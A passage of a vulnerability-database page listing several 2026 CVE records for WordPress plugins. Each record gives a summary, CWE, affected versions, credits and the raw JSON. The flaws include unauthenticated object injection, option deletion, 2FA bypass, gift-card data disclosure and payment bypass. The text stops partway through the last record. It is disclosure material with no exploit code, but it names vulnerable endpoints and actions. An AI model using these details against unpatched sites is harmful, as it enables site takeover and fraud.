Vulnerability-Lookup

Search criteria

Vendor

Product

Assigner (CNA or root)

Sources

Sort by

Order

CVSS min

CVSS max

Apply ordering (override relevance)

CVE-2026-82925 (GCVE-0-2026-82925)

Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

Site Reviews 7.2.2 - 8.2.2 - Unauthenticated PHP Object Injection via Form Signature

Summary

The Site Reviews WordPress plugin before 8.3.0 does not prevent request data from being deserialized, and derives the key protecting that data by padding out the site's WordPress nonce key, which makes the key publicly computable on installs where that key is absent, left at its sample value, or too short to be secret. This allows unauthenticated users to inject arbitrary PHP objects on such installs. The Site Reviews WordPress plugin before 8.3.0's own code contains no chain onward from the injected object, so how far it reaches depends on the other code present on the site.

Severity

No CVSS data available.

CWE

CWE-502 Deserialization of Untrusted Data

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/bce47707-b60c-42…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Site Reviews	Affected: 7.2.2 , < 8.3.0 (semver)

Credits

Jakub Herman WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Site Reviews",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "8.3.0",
              "status": "affected",
              "version": "7.2.2",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Jakub Herman"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Site Reviews WordPress plugin before 8.3.0 does not prevent request data from being deserialized, and derives the key protecting that data by padding out the site\u0027s WordPress nonce key, which makes the key publicly computable on installs where that key is absent, left at its sample value, or too short to be secret. This allows unauthenticated users to inject arbitrary PHP objects on such installs. The Site Reviews WordPress plugin before 8.3.0\u0027s own code contains no chain onward from the injected object, so how far it reaches depends on the other code present on the site."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-502 Deserialization of Untrusted Data",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:06.747Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/bce47707-b60c-42a7-8817-89b1483f41a3/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Site Reviews 7.2.2 - 8.2.2 - Unauthenticated PHP Object Injection via Form Signature",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-82925",
    "datePublished": "2026-09-10T06:00:06.747Z",
    "dateReserved": "2026-08-31T11:50:40.276Z",
    "dateUpdated": "2026-09-10T06:00:06.747Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-81431 (GCVE-0-2026-81431)

Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

Registration Form for WooCommerce 1.1.0 - 1.1.2 - Contributor+ Privilege Escalation via Unvalidated tgwcfb_id

Summary

The Registration Form for WooCommerce WordPress plugin before 1.1.3 does not validate that the form referenced during registration is a legitimate registration form, reading the permitted-role allow-list from an arbitrary attacker-controlled post instead. A user able to create a post (Contributor and above) can therefore register a new account with an arbitrary role, including Administrator, leading to full site takeover. This is an incomplete fix of CVE-2026-54807.

Severity

No CVSS data available.

CWE

CWE-269 Improper Privilege Management

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/e1255dd5-90d9-4c…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Registration Form for WooCommerce	Affected: 1.1.0 , < 1.1.3 (semver)

Credits

Sai Praneeth Koti WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Registration Form for WooCommerce",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "1.1.3",
              "status": "affected",
              "version": "1.1.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Sai Praneeth Koti"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Registration Form for WooCommerce WordPress plugin before 1.1.3 does not validate that the form referenced during registration is a legitimate registration form, reading the permitted-role allow-list from an arbitrary attacker-controlled post instead. A user able to create a post (Contributor and above) can therefore register a new account with an arbitrary role, including Administrator, leading to full site takeover. This is an incomplete fix of CVE-2026-54807."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-269 Improper Privilege Management",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:06.575Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/e1255dd5-90d9-4ccf-9f84-3d1b41c5cba4/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Registration Form for WooCommerce 1.1.0 - 1.1.2 - Contributor+ Privilege Escalation via Unvalidated tgwcfb_id",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-81431",
    "datePublished": "2026-09-10T06:00:06.575Z",
    "dateReserved": "2026-08-26T19:16:18.415Z",
    "dateUpdated": "2026-09-10T06:00:06.575Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-78361 (GCVE-0-2026-78361)

Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

zipMoney(Zip Co) Payments Plugin for WooCommerce < 2.4.0 - Unauthenticated Arbitrary Option Deletion

Summary

The zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0 does not perform any authorisation checks on one of its front-end request handlers, and does not restrict which option name a caller may supply, allowing unauthenticated users to delete arbitrary WordPress options. This can be used to destroy site and access control configuration, deactivate every installed zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0, and take the site offline.

Severity

No CVSS data available.

CWE

CWE-862 Missing Authorization

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/8b9a00f5-d7f5-44…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	zipMoney(Zip Co) Payments Plugin for WooCommerce	Affected: 0 , < 2.4.0 (semver)

Credits

Naoki Kawahigashi WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "zipMoney(Zip Co) Payments Plugin for WooCommerce",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "2.4.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Naoki Kawahigashi"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0 does not perform any authorisation checks on one of its front-end request handlers, and does not restrict which option name a caller may supply, allowing unauthenticated users to delete arbitrary WordPress options. This can be used to destroy site and access control configuration, deactivate every installed zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0, and take the site offline."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-862 Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:06.399Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/8b9a00f5-d7f5-447d-b109-d15e2cde3885/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "zipMoney(Zip Co) Payments Plugin for WooCommerce \u003c 2.4.0 - Unauthenticated Arbitrary Option Deletion",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-78361",
    "datePublished": "2026-09-10T06:00:06.399Z",
    "dateReserved": "2026-08-24T11:38:28.753Z",
    "dateUpdated": "2026-09-10T06:00:06.399Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-77771 (GCVE-0-2026-77771)

Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

miniOrange 2FA (Free & Pro) - 2FA Bypass via Session-Scoped OTP Lockout

Summary

The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not scope its second-factor attempt limit to the account being attacked, keying it instead to an identifier the client supplies and can change at will, allowing an attacker who already knows a victim's password to make unlimited one-time-passcode guesses and defeat the second factor. A second validation endpoint applies no attempt limit at all.

Severity

No CVSS data available.

CWE

CWE-287 Improper Authentication

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/e1e57673-18cb-41…	exploitvdb-entrytechnical-description

Impacted products

2 products

Vendor	Product	Version
Unknown	miniOrange 2FA	Affected: 6.2.8 , < 6.3.1 (semver)
Unknown	miniOrange 2FA	Affected: 18.0 , < 19.3 (semver)

Credits

pervinzahidli WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "miniOrange 2FA",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "6.3.1",
              "status": "affected",
              "version": "6.2.8",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "miniOrange 2FA",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "19.3",
              "status": "affected",
              "version": "18.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "pervinzahidli"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The miniOrange 2FA  WordPress plugin before 6.3.1, miniOrange 2FA  WordPress plugin before 19.3 does not scope its second-factor attempt limit to the account being attacked, keying it instead to an identifier the client supplies and can change at will, allowing an attacker who already knows a victim\u0027s password to make unlimited one-time-passcode guesses and defeat the second factor. A second validation endpoint applies no attempt limit at all."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-287 Improper Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:06.225Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/e1e57673-18cb-4157-9d58-547af7101b04/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "miniOrange 2FA (Free \u0026 Pro) - 2FA Bypass via Session-Scoped OTP Lockout",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-77771",
    "datePublished": "2026-09-10T06:00:06.225Z",
    "dateReserved": "2026-08-21T10:58:08.233Z",
    "dateUpdated": "2026-09-10T06:00:06.225Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-77770 (GCVE-0-2026-77770)

Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

miniOrange 2FA (Free & Pro) - Unauthenticated Arbitrary Option Deletion via Out-of-Band Email Link Validator

Summary

The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not require a validated transaction before deleting site options whose names come from unauthenticated request input, allowing any visitor to delete arbitrary options, which can lock every administrator out of the dashboard or deactivate every miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 on the site.

Severity

No CVSS data available.

CWE

CWE-862 Missing Authorization

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/68bc7294-1ee6-44…	exploitvdb-entrytechnical-description

Impacted products

2 products

Vendor	Product	Version
Unknown	miniOrange 2FA	Affected: 5.3.24 , < 6.3.1 (semver)
Unknown	miniOrange 2FA	Affected: 18.0 , < 19.3 (semver)

Credits

Osman Hussein WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "miniOrange 2FA",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "6.3.1",
              "status": "affected",
              "version": "5.3.24",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "miniOrange 2FA",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "19.3",
              "status": "affected",
              "version": "18.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Osman Hussein"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The miniOrange 2FA  WordPress plugin before 6.3.1, miniOrange 2FA  WordPress plugin before 19.3 does not require a validated transaction before deleting site options whose names come from unauthenticated request input, allowing any visitor to delete arbitrary options, which can lock every administrator out of the dashboard or deactivate every miniOrange 2FA  WordPress plugin before 6.3.1, miniOrange 2FA  WordPress plugin before 19.3 on the site."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-862 Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:06.054Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/68bc7294-1ee6-44a9-9995-3b23b921f750/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "miniOrange 2FA (Free \u0026 Pro) - Unauthenticated Arbitrary Option Deletion via Out-of-Band Email Link Validator",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-77770",
    "datePublished": "2026-09-10T06:00:06.054Z",
    "dateReserved": "2026-08-21T10:57:53.664Z",
    "dateUpdated": "2026-09-10T06:00:06.054Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-19840 (GCVE-0-2026-19840)

Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

Notiqoo < 1.4.14 - Contributor+ Arbitrary Option Update via Multiple AJAX Actions

Summary

The Notiqoo WordPress plugin before 1.4.14 does not have capability checks on several of its AJAX actions and builds the name of the option to write from user input, allowing users with a role as low as contributor to modify arbitrary WordPress options, which can be used to deactivate Notiqoo WordPress plugin before 1.4.14 and to lock every administrator out of the site.

Severity

No CVSS data available.

CWE

CWE-863 Incorrect Authorization

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/030939ee-9aa9-40…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Notiqoo	Affected: 0 , < 1.4.14 (semver)

Credits

Seongwon Lee WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Notiqoo",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "1.4.14",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Seongwon Lee"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Notiqoo  WordPress plugin before 1.4.14 does not have capability checks on several of its AJAX actions and builds the name of the option to write from user input, allowing users with a role as low as contributor to modify arbitrary WordPress options, which can be used to deactivate Notiqoo  WordPress plugin before 1.4.14 and to lock every administrator out of the site."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-863 Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:05.869Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/030939ee-9aa9-4082-934e-c9a07fc3dfc3/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Notiqoo \u003c 1.4.14 - Contributor+ Arbitrary Option Update via Multiple AJAX Actions",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-19840",
    "datePublished": "2026-09-10T06:00:05.869Z",
    "dateReserved": "2026-08-14T07:56:48.561Z",
    "dateUpdated": "2026-09-10T06:00:05.869Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-19439 (GCVE-0-2026-19439)

Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

Ultimate Gift Cards for WooCommerce 3.0.3 - 3.2.9 - Unauthenticated Gift Card Code and Customer PII Disclosure via wps_uwgc_report_details

Summary

The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not have any authorisation check when displaying gift card details, allowing unauthenticated users to retrieve the gift cards attached to arbitrary orders and disclose customer personal data, balances, dates and, in 3.2.9, the live redemption code, which anyone holding it can spend. Versions from 3.0.3 to 3.2.8 disclose the same data without the redemption code.

Severity

No CVSS data available.

CWE

CWE-200 Information Exposure

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/daefdabe-2277-47…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Ultimate Gift Cards for WooCommerce	Affected: 3.0.3 , < 3.2.10 (semver)

Credits

Usama Arshad WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Ultimate Gift Cards for WooCommerce",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "3.2.10",
              "status": "affected",
              "version": "3.0.3",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Usama Arshad"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not have any authorisation check when displaying gift card details, allowing unauthenticated users to retrieve the gift cards attached to arbitrary orders and disclose customer personal data, balances, dates and, in 3.2.9, the live redemption code, which anyone holding it can spend.\n\nVersions from 3.0.3 to 3.2.8 disclose the same data without the redemption code."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-200 Information Exposure",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:05.700Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/daefdabe-2277-4753-9df5-581134540000/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Ultimate Gift Cards for WooCommerce 3.0.3 - 3.2.9 - Unauthenticated Gift Card Code and Customer PII Disclosure via wps_uwgc_report_details",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-19439",
    "datePublished": "2026-09-10T06:00:05.700Z",
    "dateReserved": "2026-08-10T13:02:17.334Z",
    "dateUpdated": "2026-09-10T06:00:05.700Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-19436 (GCVE-0-2026-19436)

Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

Ultimate Gift Cards For WooCommerce < 3.2.10 - Unauthenticated Gift Card Value Inflation via Discounted Purchase

Summary

The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not reconcile the value of the gift card coupon it issues against the amount actually collected at checkout, allowing unauthenticated users to obtain store credit worth more than they paid.

Severity

No CVSS data available.

CWE

CWE-284 Improper Access Control

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/7c2f56f6-9c0a-4d…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Ultimate Gift Cards for WooCommerce	Affected: 0 , < 3.2.10 (semver)

Credits

Guillermo Álvarez Fernández WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Ultimate Gift Cards for WooCommerce",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "3.2.10",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Guillermo \u00c1lvarez Fern\u00e1ndez"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not reconcile the value of the gift card coupon it issues against the amount actually collected at checkout, allowing unauthenticated users to obtain store credit worth more than they paid."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-284 Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:05.523Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/7c2f56f6-9c0a-4de2-9cd2-9c25a25c3530/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Ultimate Gift Cards For WooCommerce \u003c 3.2.10 - Unauthenticated Gift Card Value Inflation via Discounted Purchase",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-19436",
    "datePublished": "2026-09-10T06:00:05.523Z",
    "dateReserved": "2026-08-10T12:44:06.866Z",
    "dateUpdated": "2026-09-10T06:00:05.523Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-85117 (GCVE-0-2026-85117)

Vulnerability from nvd – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23

Title

Contact Form 7 Captcha 0.1.7 - 0.1.8 - Unauthenticated Arbitrary Shortcode Execution via Form Field Repopulation

Summary

The Contact Form 7 Captcha WordPress plugin before 0.1.9 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-09 15:22 UTC

CWE

CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/e791e4a6-5ec1-49…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Contact Form 7 Captcha	Affected: 0.1.7 , < 0.1.9 (semver)

Credits

Jakub Herman WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-85117",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-09T15:22:10.980997Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-74",
                "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-09T15:23:41.750Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "product": "Contact Form 7 Captcha",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "0.1.9",
              "status": "affected",
              "version": "0.1.7",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Jakub Herman"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Contact Form 7 Captcha WordPress plugin before 0.1.9 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T06:25:07.194Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/e791e4a6-5ec1-49c7-9448-1d83ec4f4905/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Contact Form 7 Captcha 0.1.7 - 0.1.8 - Unauthenticated Arbitrary Shortcode Execution via Form Field Repopulation",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-85117",
    "datePublished": "2026-09-09T06:25:07.194Z",
    "dateReserved": "2026-09-03T07:55:26.694Z",
    "dateUpdated": "2026-09-09T15:23:41.750Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-83537 (GCVE-0-2026-83537)

Vulnerability from nvd – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23

Title

WP Express Checkout < 2.5.0 - Unauthenticated Payment Bypass via wpec_process_empty_payment

Summary

The WP Express Checkout WordPress plugin before 2.5.0 does not verify server-side that a payment was actually completed before marking an order as paid, allowing unauthenticated users to forge a completed order without paying.

Severity

5.3 (Medium)


                        
